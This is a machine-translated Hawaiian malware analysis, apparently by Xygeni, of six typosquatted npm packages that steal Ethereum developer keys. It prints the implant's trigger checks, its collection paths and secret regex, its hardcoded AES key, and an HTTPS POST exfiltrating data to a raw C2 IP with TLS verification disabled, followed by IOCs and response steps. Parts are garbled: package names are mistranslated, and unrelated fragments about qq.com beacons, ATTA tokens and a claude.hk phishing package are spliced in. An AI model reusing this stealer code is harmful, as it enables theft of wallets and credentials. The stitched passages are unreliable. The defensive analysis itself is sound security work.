ʻAihue ka EVMDeFi npm Typosquatting Attack i nā kī a ka mea hoʻomohala

ʻAihue ka hoʻouka ʻana o EVM/DeFi npm Typosquatting i nā kī a ka mea hoʻomohala

Aku; DR

Ma ka lā 6 o Mei, 2026, hoʻokahi mea hoʻopuka npm, namikazesarada010206, ua hoʻokuke aku i ʻeono mau pūʻolo ʻino e kuhikuhi ana i ka ʻōnaehana hoʻomohala Ethereum, Solidity, a me DeFi.

ʻO nā pūʻolo, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, a web3-utils-core, hoʻohana i nā inoa kūpono i hoʻolālā ʻia e like me nā waihona puke kōkua no nā mea hana Web3 kaulana.

Ua like nā mea a pau i loko o nā pūʻolo ʻeono telemetry.js faila. Ua like ka faila me ka byte ma waena o ka cluster, me SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

ʻAʻole holo ka polokalamu ʻino i ka manawa hoʻouka. ʻAʻohe preinstall or postinstall makau. Akā, hoʻāla ia ke lawe ʻia mai ka pūʻolo ma o require().

He mea nui kēlā kikoʻī.

Ke kali nei ka implant a hiki i ka wā e hoʻohana maoli ai ka mea hoʻomohala i ka pūʻolo. A laila nānā ia inā like ke kahua hana me kahi kaiapuni hoʻomohala Ethereum / Solidity maoli. Ke nānā nei ia i nā kī Alchemy a i ʻole Infura, nā kī pilikino, nā mnemonics, nā kī deployer, a i ʻole kahi papa kuhikuhi Foundry kūloko.

Inā kūlike ka mea hoʻokipa, hōʻiliʻili ka mea ʻaihue i nā kī pilikino SSH, nā hale kūʻai kī ʻeke ʻo Foundry / Geth / Brownie, .env* nā faila, a me nā loli kaiapuni koʻikoʻi. Hoʻopāʻālua ia i ka pūʻolo me AES-256-GCM me ka hoʻohana ʻana i kahi ʻōlelo huna paʻa a hoʻopuka iā ia i kahi kiko IPv4 C2 maka me ka hōʻoia TLS i hoʻopau ʻia.

Ua hōʻoia ka ʻōnaehana Malware Early Warning (MEW) a Xygeni i nā pūʻolo ʻeono he mea ʻino. Ke kali nei ka pūʻolo hōʻike lawe ʻana i ka papa inoa npm.

ʻO ka Hui: ʻEono Pūʻolo, Hoʻokahi Mea Hoʻopuka

Ka moʻokāki hoʻopuka namikazesarada010206 ua pili ʻia i ka helu wahi Gmail i hōʻoia ʻole ʻia namikazesarada010206@gmail.com.

Ua ʻike ʻia ka hoʻolaha ma ke ʻano he pahū ʻana o hoʻokahi lā ma Mei 6, 2026. Ua hoʻololi ʻia nā pūʻolo ʻeono e like me 1.0.0, ʻaʻohe ona hilinaʻi runtime, a ua hoʻouna wale ʻia ʻekolu mau faila:

package.json index.js telemetry.js

Ua hoʻolaha pū lākou i ka waihona kumu like:

https://github.com/harunosakura030303-maker/evmchain-config

Ua hopu ʻia nā pūʻolo mua ʻekolu e nā scanner MEW i ka wā i paʻi mua ʻia ai. Ua hōʻailona ikaika ʻia nā mea ʻekolu i koe ma hope o ka loiloi ʻana o ka loiloi npm o ka mea hoʻopuka. I ka manawa like like ka byte-like telemetry.js ua hōʻoia ʻia ma waena o ka hui, ua pani ʻia lākou me he mea ʻino lā ma ke kūlike.

pūʻolo Version npm Paʻi ʻia Tikiki MEW Verdict
viem-core 1.0.0 2026-05-06 01:38:44Z #51049 ʻino
viem-utils-core 1.0.0 2026-05-06 #51050 ʻino
nā ʻōnaehana-pale-ʻi-paʻa 1.0.0 2026-05-06 #51051 ʻino
nā ʻōnaehana evm 1.0.0 2026-05-06 #51069 ʻIno, ma ke kūlike
nā mea hana hale hao 1.0.0 2026-05-06 #51071 ʻIno, ma ke kūlike
ʻO ka pūnaewele-ʻoihana-ʻoihana 1.0.0 2026-05-06 #51070 ʻIno, ma ke kūlike

He maʻalahi akā kūpono ke ʻano o ka hoʻolālā inoa.

ʻAʻole hoʻohālike kēia mau pūʻolo i nā inoa pololei ma luna. Akā, hoʻohana lākou i nā hopena "pono" e like me -core, -utils, a -utils-coreʻO ia ka mea e like ai lākou me nā waihona puke hoa e manaʻo paha ai kahi mea hoʻomohala e ʻike kokoke i nā mea hana Web3.

Pūʻolo ʻino Pahuhopu Kūpono
viem-core ʻo viem, kahi mea kūʻai aku Ethereum TypeScript kaulana
viem-utils-core viem
nā ʻōnaehana-pale-ʻi-paʻa hardhat, kahi kaiapuni hoʻomohala Solidity maʻamau
nā ʻōnaehana evm Wahi inoa mea hana EVM maʻamau
nā mea hana hale hao hale hana hao, he kaulahao mea hana Solidity
ʻO ka pūnaewele-ʻoihana-ʻoihana web3-utils, nā mea kōkua Web3.js

ʻO kēia ke ʻano "pūʻolo hoʻohui": ʻaʻole "ʻO wau ka pūʻolo maoli," akā "Ua like wau me ke kōkua kūpono a puni ka pūʻolo maoli."

No nā mea hoʻomohala DeFi e neʻe wikiwiki ana, ua lawa kēlā e hoʻokumu i ka pilikia.

He aha ka mea e hana ʻia ke lawe ʻia mai ka pūʻolo

He liʻiliʻi ke kaulahao hoʻouka, noʻonoʻo ʻia, a kālele ʻia i nā wahi hoʻomohala crypto.

ʻAʻohe makau hoʻonohonoho. Akā, aia i kēlā me kēia pūʻolo kahi index.js e hoʻokuʻu aku i ka hana stub a laila hoʻouka i ka module telemetry ʻino.

require('./telemetry').init();

ʻO ke ʻano kēia e hoʻāla ʻia ka polokalamu ʻino i ka lawe mua ʻana mai.

He mea pono kēlā no ka mea hoʻouka. Nui nā scanners a me nā onebox e kālele ana i ke ʻano o ka manawa hoʻouka. Kali kēia pūʻolo a hiki i ka wā e hoʻohana ʻia ai e kahi mea hoʻomohala, script kūkulu, test suite, a i ʻole ke ala runtime.

Puka Hoʻāla: E hoʻā wale ma nā kikowaena hana hoʻomohala Web3 maoli

ʻO ka ʻāpana koʻikoʻi o ka implant ʻo ia ka puka hoʻāla.

Nānā ka polokalamu ʻino i nā loli kaiapuni i loaʻa pinepine ʻia ma nā mīkini hoʻomohala Ethereum / Solidity:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Nānā pū ia inā paha ua hoʻokomo ʻia ʻo Foundry:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Inā ʻaʻole ʻoiaʻiʻo kekahi o nā kūlana, e hoʻi ka hana a ʻaʻole hana i kekahi mea.

ʻO ia ka mea e mālie ai ka pūʻolo i nā wahi loiloi maʻamau. ʻO kahi pahu sandbox me ka ʻole o Foundry, nā kī Alchemy, nā kī Infura, nā kī pilikino, a i ʻole nā ​​​​mnemonics e ʻike paha i kahi lawe mai me ka ʻole o ka pōʻino.

Ma kahi kikowaena kūlike, kali ka polokalamu ʻino i 60 a 90 kekona ma mua o ka hōʻiliʻili ʻana:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Hoʻemi ka lohi i ka pilina maopopo ma waena o ka lawe ʻana mai a me ka exfiltration. .unref() e ʻae pū ke kāhea i ke kaʻina hana kikowaena e puka maʻamau inā ua lawe ʻia mai ka pūʻolo i loko o kahi palapala pōkole.

ʻAʻole kēia he ʻano walaʻau e haki a hopu. He mea ʻaihue ia i hoʻolālā ʻia e pale aku i ka holo ʻana ke ʻole he mea kūpono ke ʻaihue ʻia mai kahi kaiapuni mea hoʻomohala.

Ka mea a ka mea ʻaihue e hōʻiliʻili ai

Ke hala ka puka hoʻāla, hōʻiliʻili ka polokalamu ʻino mai nā kumu koʻikoʻi i ka hoʻomohala ʻana o Web3: nā kī pilikino, nā hale kūʻai kī wallet, nā hōʻoia hoʻolaha, nā mea huna ao, nā hōʻailona npm, a me ka hoʻonohonoho papahana kūloko.

kahi He aha ka mea i hōʻiliʻili ʻia
kaʻina hana.env Kekahi loli e kūlike ana /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Nā faila e loaʻa ana iā PRIVATE KEY a i ʻole BEGIN OPENSSH, me ka ʻike piha o ka faila
~/.hale hana hao/nā hale kūʻai kī/* Nā faila kī waihona ʻeke ʻo Foundry
~/.ethereum/kūʻai kī/* Nā faila waihona kī ʻeke kālā Geth
~/.brownie/nā moʻokāki/* Nā faila waihona kī no ka ʻeke kālā Brownie
${cwd}/.env ʻIke piha o ka faila
${cwd}/.env.local ʻIke piha o ka faila
${cwd}/.env.production ʻIke piha o ka faila
${cwd}/.env.hoʻomohala ʻIke piha o ka faila
os.hostname() ʻIkepili kikowaena
crypto.randomUUID() Ka mea hōʻike i hōʻeha ʻia/kau
Lā.i kēia manawa() Hōʻailona manawa hōʻiliʻili
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

ʻO nā hōʻailona ATTA:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

ʻAʻole hiki iā mākou ke hōʻoia inā ʻo ka telemetry ka analytics ponoʻī a ka mea hoʻohana a i ʻole kahi kahawai i loaʻa kālā ʻokoʻa. Ua like nā hōʻailona ATTA ma nā laʻana ʻelua a mākou i nānā ai.

Hui B: heibai

claude.hk OAuth Phishing + ANTHROPIC_BASE_URL Hijack

ʻO ka hāpana o ʻApelila 1 ka lālā makaʻu a mua hoʻi o ka hoʻolaha.

heibai:2.1.88-claude.hk-4 ua paʻi ʻia e wuguoqiangvip28, kahi moʻokāki i hana ʻia ma Iune 7, 2025. Ua hoʻololi pololei ka pūʻolo iā ia iho e kūʻē i ke kānāwai 2.1.88 Hoʻokuʻu ʻana o ke kanaka.

ʻAʻole ia e hopohopo me ka CA-cert MITM. Akā, ke wahaheʻe nei ia i ka mea hoʻohana e pili ana i ka hopena OAuth.

ʻO nā mea hoʻohui ʻino ma luna o ke kumu Claude Code i hoʻokuʻu ʻia:

kahi He aha ka mea i hōʻiliʻili ʻia
kaʻina hana.env Kekahi loli e kūlike ana /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Nā faila e loaʻa ana iā PRIVATE KEY a i ʻole BEGIN OPENSSH, me ka ʻike piha o ka faila
~/.hale hana hao/nā hale kūʻai kī/* Nā faila kī waihona ʻeke ʻo Foundry
~/.ethereum/kūʻai kī/* Nā faila waihona kī ʻeke kālā Geth
~/.brownie/nā moʻokāki/* Nā faila waihona kī no ka ʻeke kālā Brownie
${cwd}/.env ʻIke piha o ka faila
${cwd}/.env.local ʻIke piha o ka faila
${cwd}/.env.production ʻIke piha o ka faila
${cwd}/.env.hoʻomohala ʻIke piha o ka faila
os.hostname() ʻIkepili kikowaena
crypto.randomUUID() Ka mea hōʻike i hōʻeha ʻia/kau
Lā.i kēia manawa() Hōʻailona manawa hōʻiliʻili

He kikoʻī loa ka papa inoa i manaʻo ʻia. ʻAʻole kēia he ʻaihue polokalamu kele pūnaewele maʻamau a i ʻole ka ʻeli ʻana i nā palapala hōʻoia ākea. Kuhi ʻia ia i nā mea hoʻomohala e kūkulu, hoʻāʻo, hoʻolaha, a hoʻokele paha i nā polokalamu Ethereum.

He mea nui loa ka hoʻokomo ʻia ʻana o nā hale kūʻai kī ʻo Foundry, Geth, a me Brownie. Hiki i kēia mau faila ke hōʻike i ke komo pololei ʻana i nā wallets a i ʻole nā ​​ʻike hoʻolaha. Inā hiki i ka mea hoʻouka ke hoʻohui iā lākou me nā ʻōlelo huna, nā mnemonics, a i ʻole nā ​​​​mea huna o ke kaiapuni, hiki paha iā lākou ke hoʻoneʻe i nā kālā, hoʻohālike i nā mea hoʻolaha, a i ʻole e hoʻopilikia i nā hana ʻaelike akamai.

Hoʻopāʻālua ma mua o ka hoʻokaʻawale ʻana

Hoʻopāʻālua ka polokalamu ʻino i ka ʻikepili i hōʻiliʻili ʻia ma mua o ka hoʻouna ʻana aku.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

ʻO ka ʻōlelo huna i hoʻopaʻa ʻia:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Ua kāʻei ʻia ka ukana hope loa e like me JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

ʻAʻole hoʻonui ka hoʻopāʻālua ʻana i ka polokalamu ʻino iā ia iho. Eia nō naʻe, hoʻolilo ia i ka nānā ʻana o ka pūnaewele i mea paʻakikī. ʻO ka mea pale e nānā ana i ka puka e ʻike i kahi ukana JSON, akā ʻaʻole nā ​​​​kī i ʻaihue ʻia, nā faila ʻeke kālā, a i ʻole .env nā ʻike me ka ʻole o ka ʻōlelo huna paʻa a me ka logic decryption.

Ka hoʻokaʻawale ʻana i kahi IPv4 C2 Raw

Ua paʻa ke ala exfiltration:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Hoʻouna ka polokalamu ʻino i ka ʻikepili i:

https://76.13.37.80:8443/api/v1/telemetry

ʻElua mau kikoʻī i kū i waho.

ʻO ka mea mua, he helu wahi IPv4 maka ka C2 ma mua o kahi kikowaena. Hoʻopau kēlā i ka pono no ke kau inoa kikowaena a pale i kekahi mau ʻike ʻana ma muli o ke kikowaena.

ʻO ka lua, ua hoʻopau ʻia ka hōʻoia TLS me:

rejectUnauthorized: false

ʻO ia ka mea e ʻae ai i ka polokalamu ʻino e ʻae i kekahi palapala hōʻoia, me nā palapala hōʻoia i kau inoa ponoʻī ʻia. I nā huaʻōlelo ʻē aʻe, loaʻa i ka mea hoʻouka ka lawe ʻana i hoʻopāʻālua ʻia me ka ʻole o ka pono o kahi palapala hōʻoia lehulehu kūpono.

ʻAʻohe loina hoʻāʻo hou a ʻaʻohe kikowaena fallback. Ua moni mālie ʻia nā hewa. Mālama kēia i ka pūʻolo inā ʻaʻole ma waho o ka pūnaewele a hiki ʻole ke kiʻi ʻia aku ka C2.

No ke aha he mea nui kēia hoʻolaha

ʻO ka hapa nui o nā pūʻolo npm ʻino i manaʻo ʻia no nā mea hoʻomohala e alualu i nā hōʻoia ākea: nā hōʻailona npm, nā kī AWS, nā hōʻailona GitHub, a i ʻole .npmrc waihona.

Hoʻohaiki kēia hoʻolaha i ka pahuhopu.

Ke nānā nei ia i nā hōʻailona e pili ana i ka mīkini i kahi mea hoʻomohala Ethereum a i ʻole Solidity. A laila huki pololei ia i nā waiwai e pono ai i kēlā wahi: nā waihona kī wallet, nā kī pilikino, nā mnemonics, nā kī deployer, .env nā faila, a me nā kī SSH.

ʻOi aku ka weliweli o ka hoʻolaha no nā hui Web3 ma mua o kahi mea ʻaihue npm maʻamau.

Hiki i kahi maʻi holomua ke hōʻike i:

  • Nā ʻeke kālā hoʻolaha
  • Nā kī hoʻokele ʻaelike akamai
  • Nā kī mea hoʻolako RPC
  • Nā palapala hōʻoia hoʻolaha ao
  • nā hōʻailona hoʻopuka npm
  • Loaʻa ka SSH i ka mea hoʻomohala a i ʻole ke kūkulu ʻana i nā ʻōnaehana
  • nā mea huna o ka papahana i mālama ʻia i loko .env waihona
  • Nā waihona kī ʻeke kālā no Foundry, Geth, a i ʻole Brownie

Hōʻike pū nā inoa pūʻolo i ka ʻenekinia kaiapili maopopo. Hoʻolālā lākou i ka ʻōnaehana hoʻomohala Web3 ma o nā inoa mea hana maʻamau: viem, hardhat, foundry, evm, a web3.

ʻAʻole pono ka mea hana keaka e hoʻopilikia i nā papahana maoli. Pono wale lākou i kahi mea hoʻomohala e hoʻokomo i kahi mea e like me kahi pūʻolo hoa kūpono.

Nā Hōʻailona o ka Hoʻokuʻikahi a me ka ʻIke ʻana

Nā Pūʻolo a me ka Mea Hoʻopuka
Field Value
mea hoʻopuka npm namikazesarada010206
Leka uila a ka mea hoʻopuka namikazesarada010206@gmail.com
Ua hōʻoia ʻia ka leka uila ʻAʻole
SCM hōʻoia ʻAʻole
Ka helu kaulana 1.0
pūʻolo helu viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core
wale nō Nā 1.0.0 a pau
Waihona kumu https://github.com/harunosakura030303-maker/evmchain-config
Ua hōʻoia ʻia he ʻino ʻEono mau pūʻolo a pau
Leakaʻaʻike
ʻAno Value
Ka hopena C2 https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
Puka C2 8443/tcp
Hana TLS hōʻoleʻAʻole i ʻae ʻia: wahaheʻe
ʻAno hoʻouka ukana {"v":2,"iv": ,"d": ,"ʻo": }
Nā faila a me nā hashes
ʻAno Value
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Hoʻonohonoho pūʻolo pūʻolo.json, index.js, telemetry.js
Helu o nā faila 3
Ka nui holoʻokoʻa kokoke 3.4 KB

Nā Hōʻailona Hoʻāla

Nānā ka polokalamu ʻino i kēia mau loli kaiapuni:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Nānā pū ia no:

~/.foundry/

Nā Ala Hoʻokipa i Manaʻo ʻia

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

ʻOhi Regex

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Nā Memo ʻIke

Hoʻokō kekahi mau lula i kēia hoʻolaha me ka ʻole o ka pono o ka nānā piha ʻana i ka hana.

ʻO ka mea mua, e nānā i nā faila laka no nā inoa pūʻolo ʻino ʻeono:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

ʻO kēlā me kēia pāʻani i loko package-lock.json, yarn.lock, pnpm-lock.yaml, a node_modules pono e mālama ʻia ka mōʻaukala ma ke ʻano he hanana koʻikoʻi.

ʻO ka lua, e nānā no nā kaʻina hana Node.js e heluhelu ana i nā ala keystore wallet:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

He ʻano hana kūpono ʻole kēia no kahi pūʻolo i lawe ʻia mai ma ke ʻano he mea kōkua. He mea kānalua loa ia i ka wā e ukali ʻia ai e ka hana pūnaewele i waho.

ʻO ke kolu, e ālai a hoʻomaopopo paha i nā pilina HTTPS i:

76.13.37.80:8443

ʻOi loa aku i ka wā e like ai ke ala noi:

/api/v1/telemetry

ʻO ka hā, e ʻimi i nā pūʻolo npm e hoʻohui i kēia mau ʻano:

  • Mea hoʻopuka hou a haʻahaʻa paha ka inoa
  • Moʻokāki Gmail i hōʻoia ʻole ʻia
  • Inoa pūʻolo pili pūnaewele Web3
  • ʻAʻohe mōʻaukala waihona koʻikoʻi
  • Hoʻonohonoho pūʻolo liʻiliʻi
  • index.js e hoʻouka ana i kahi faila telemetry a i ʻole faila kōkua
  • ʻAʻohe hilinaʻi runtime
  • ʻO ka hōʻiliʻili loli kaiapuni koʻikoʻi
  • Loaʻa i ka hale kūʻai kī ʻeke kālā

ʻOi aku ka pono o kēia ʻano ma mua o kahi IOC hoʻokahi no ka mea hiki i ka pūʻolo aʻe ke hoʻololi i ka helu wahi IP akā mālama i ka logic targeting like.

Papa Inoa Pane Hoʻokuʻikahi

Inā hoʻohana kahi mea hoʻomohala i kekahi o nā pūʻolo ʻeono a kūlike ko lākou wahi me ka puka hoʻāla, e mālama i ka workstation e like me ka hoʻopilikia ʻia.

ʻO ia hoʻi nā mīkini me Foundry i hoʻokomo ʻia, nā kī Alchemy a i ʻole Infura i ke kaiapuni, nā kī pilikino, nā mnemonics, a i ʻole nā ​​​​kī deployer.

Pane i ʻōlelo ʻia:

  • E hoʻokaʻawale i ka mea hoʻokipa mai ka pūnaewele.
  • E mālama node_modules, nā faila laka, ka mōʻaukala pūpū, a me nā log pili no nā forensics.
  • E hoʻohuli i kēlā me kēia hui kī SSH ma lalo ~/.ssh/.
  • E hoʻohuli i nā kī ʻeke kālā no kēlā me kēia hale kūʻai kī ma lalo ~/.foundry, ~/.ethereum, a ~/.brownie.
  • E hoʻoili i ke kālā i nā wallets hou.
  • E hoʻohuli i kēlā me kēia mea huna i mālama ʻia .env* nā faila i loko o nā waihona i hana ai ka mea hoʻomohala.
  • E hoʻohuli i nā mea huna o ke kaiapuni e kūlike ana i ka regex hōʻiliʻili, me nā kī AWS, nā hōʻailona npm, nā hōʻailona hoʻolaha, nā kī API, nā kī pilikino, nā hua, a me nā mnemonics.
  • ʻO ke ao loiloi, npm, GitHub, mea hoʻolako RPC, a me ka hana blockchain mai ka wā i hoʻokomo mua ʻia ai ka pūʻolo.
  • E hoʻomaʻemaʻe hou i ke kaʻina hana ma mua o ka hoʻohana hou ʻana.

Nā mea a nā mea pale e pono ai ke lawe aku

Hōʻike kēia hoʻolaha pehea e ulu nei ka npm typosquatting a puni nā ʻōnaehana hoʻomohala waiwai nui.

ʻAʻole pono ka mea hana keaka i ke ahonui. ʻAʻole pono lākou i ka hoʻopōʻeleʻele ʻia. ʻAʻole pono lākou i ka hoʻokō ʻana i ka manawa hoʻouka.

Akā, ua hilinaʻi lākou i ʻekolu mau mea:

  • Nā inoa pūʻolo Web3 kūpono
  • Hoʻāla wale ʻia ma nā mīkini hoʻomohala crypto maoli
  • ʻAihue pololei o nā faila a me nā mea huna e pili nui ana i nā mea hoʻomohala Ethereum

ʻO ia ka mea e maʻalahi ai ka nalo ʻana o ka hoʻolaha i ka nānā ʻana ākea a weliweli hoʻi ke pae ia ma ke kaiapuni kūpono.

No nā hui Web3, ua maopopo ka haʻawina: e mālama i nā inoa hilinaʻi ma ke ʻano he ʻāpana o kāu kumu hoʻohālike hoʻoweliweli. ʻO kahi pūʻolo e like me ke kōkua ʻino ʻole hiki ke lilo i ala pōkole loa i ka hoʻopilikia ʻana i ka ʻeke kālā.

Ua hōʻike ʻia i ka papa inoa npm. E hōʻano hou mākou i kēia pou ke wehe ʻia ka moʻokāki hoʻopuka a me nā pūʻolo.

nā mea hana-sca-tools-software-analysis-composition
E hoʻonohonoho i ka mea nui, hoʻoponopono, a hoʻopaʻa i kāu mau pilikia polokalamu
E kiʻi i kāu moʻokāki manuahi.
ʻAʻole koi ʻia kahi kāleka hōʻaiʻē.

E hoʻopaʻa i kāu Hoʻomohala Polokalamu a me ka Hoʻouna ʻana

me ka Xygeni Product Suite